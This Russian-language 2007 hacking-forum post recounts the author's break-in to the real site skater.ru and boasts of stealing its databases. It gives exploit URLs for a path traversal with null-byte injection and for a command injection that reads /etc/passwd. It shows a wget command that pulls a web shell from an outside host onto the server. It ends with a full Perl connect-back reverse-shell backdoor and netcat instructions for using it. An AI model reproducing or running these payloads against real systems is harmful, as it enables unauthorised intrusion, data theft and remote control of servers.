Взлом Skater.ru: Возвращение

Тема в разделе "Статьи", создана пользователем Хел, 11 сен 2007.

  1. Хел
    Хел Guest
    [ Взлом Skater.ru: Возвращение ]

    [ INTRO ]

    Доброго времени суток! Сегодня я хочу рассказать о взломе _www.skater.ru. Некоторые люди с нашего форума помнят, что я однажды проник на сервер лучшего российского портала о скейтбординге. Но, увы, на тот момент я жестоко сглупил - рассказал админу о багах, благодаря чему лишился и шелла, и обещанного вознаграждения в виде администрирования форума =(. Также раньше я не мог написать этот текст в виду отсутствия логов взлома...

    [ Hacking In Progress ]

    Но на днях я копался в своих архивах и обнаружил слитые со _skater.ru базы паролей, мыльников и другой инфы. Пароли, кончено же, морально устарели - ни один из них не подошел к аккаунтам админов. Я очень огорчился и проверил старый скрипт с ошибкой, но его не оказалось на сервере. Я принялся от делать нечего и с малой надеждой тыкать по ссылкам (админ обещал удалить старые скрипты на перле)...Не нашел скриптов. И мне пришло в голову - в гугле ведь есть поиск по типу страниц! Вбив в поисковике следующую конструкцию, я получил интересующую меня ссылку:

    Код:
    site:skater.ru filetype:pl
    
    Ответ:
    
    http://www.skater.ru/cgi-bin/news/news.pl?sk=15&n=16&arhiv=show&what=shownews&page=video&tpl=[FILE]&chto=
    Как видишь, в ссылке есть параметр, не фильтрующийся скриптом. Заместо параметра можно поставить любое имя файла, доступное для чтения, в том числе и "." (а возможность просмотра списка файлов и директорий редко попадается). Важно было добавить также ядовитый ноль "%00", который отсекает строку, программно приписываемую к параметру. В итоге получился следующий сплоит просмотра всех файлов и директорий:
    Код:
    http://www.skater.ru/cgi-bin/news/news.pl?sk=15&n=16&arhiv=show&what=shownews&page=video&tpl=.%00&chto=
    
    *Папки и файлы*
    Когда я давно ломал этот сайт, были 3 директории, доступные для просмотра:
    Код:
    http://www.skater.ru/cgi-bin/news/news.pl?sk=15&n=16&arhiv=show&what=shownews&page=video&tpl=../../%00&chto=
    
    Выводились директории www, cgi-bin, tmp. На тот момент директория www была доступна на чтение и запись, чем я и воспользовался. Откопав на сервере часть скрипта старой админки на перле, я обнаружил в ней еще один баг, позволяющий выполнять команды:
    Код:
    http://www.skater.ru/cgi-bin/open.pl?url=%7Ccat+%2Fetc%2Fpasswd%7C
    
    Сейчас, увы, этого файла нет =(. Путем следующей конструкции я залил шелл:
    Код:
    wget -O /home/u66101/skater.ru/www/main_header.php http://und3rgr0und.narod.ru/f.txt
    
    Конечно путей залить шелл куча, так что wget - не панацея.
    Дальше я залил connback backdoor на перле и стал изучать сервер. Стояла FreeBSD 6.2, под которую на тот момент я не знал сплоитов на ядра, также не увидел доступных suid-багов. Это меня очень огорчило, и, слив все базы данных, я сообщил админу о баге, сами знаете что после этого вышло...

    [ OUTRO ]

    Как видишь, я не отчаялся без потерянной статьи, и начал по новой изучать скрипты, со 100% достоверностью восстановив ход моих действий взлома skater.ru в первый раз, да еще и снова став админом сайта/форума/чата. Единственное - не залил шелл в виду отсутствия времени. И теперь на xaker.name есть еще один текст по взлому от некоего никому не известного Хелкерна =)

    Спасибо за чтение статьи, удачи в IT-Security! =)

    PS

    Привет Коллеру, как обычно =)
    Спасибо админу сайта, за то, что не стал стирать старые скрипты...

    [ ETC ]

    Connect-Back Backdoor :
    Код:
    #!/usr/bin/perl
    use Socket;
    print "Data Cha0s Connect Back Backdoor\n\n";
    if (!$ARGV[0]) {
     printf "Usage: $0 [Host] <Port>\n";
     exit(1);
    }
    print "[*] Dumping Arguments\n";
    $host = $ARGV[0];
    $port = 80;
    if ($ARGV[1]) {
     $port = $ARGV[1];
    }
    print "[*] Connecting...\n";
    $proto = getprotobyname('tcp') || die("Unknown Protocol\n");
    socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
    my $target = inet_aton($host);
    if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
     die("Unable to Connect\n");
    }
    print "[*] Spawning Shell\n";
    if (!fork( )) {
     open(STDIN,">&SERVER");
     open(STDOUT,">&SERVER");
     open(STDERR,">&SERVER");
     exec {'/bin/bash'} '-bash' . "\0" x 4;
     exit(0);
    }
    
    Сначала создаем прослушиваемый порт у себя на локалхосте любой программой, например NetCat'ом:
    Код:
    nc.exe -vv -l -p 31337
    
    Где 31337 - прослушиваемый порт. Запускаем на удаленном сервере бэкдор:
    Код:
    perl backdoor.pl [YOUR_IP] 31337
    
    Смотрим неткэт, видим шелл. При желании изменить тип шелла и порта, людям, не знающим перл, прошу обращаться в аську: 659786. Помогу забесплатно.

    (c) Helkern
    http://Xaker.Name
    ​
     
    Последнее редактирование модератором: 16 сен 2007
    11 сен 2007
Загрузка...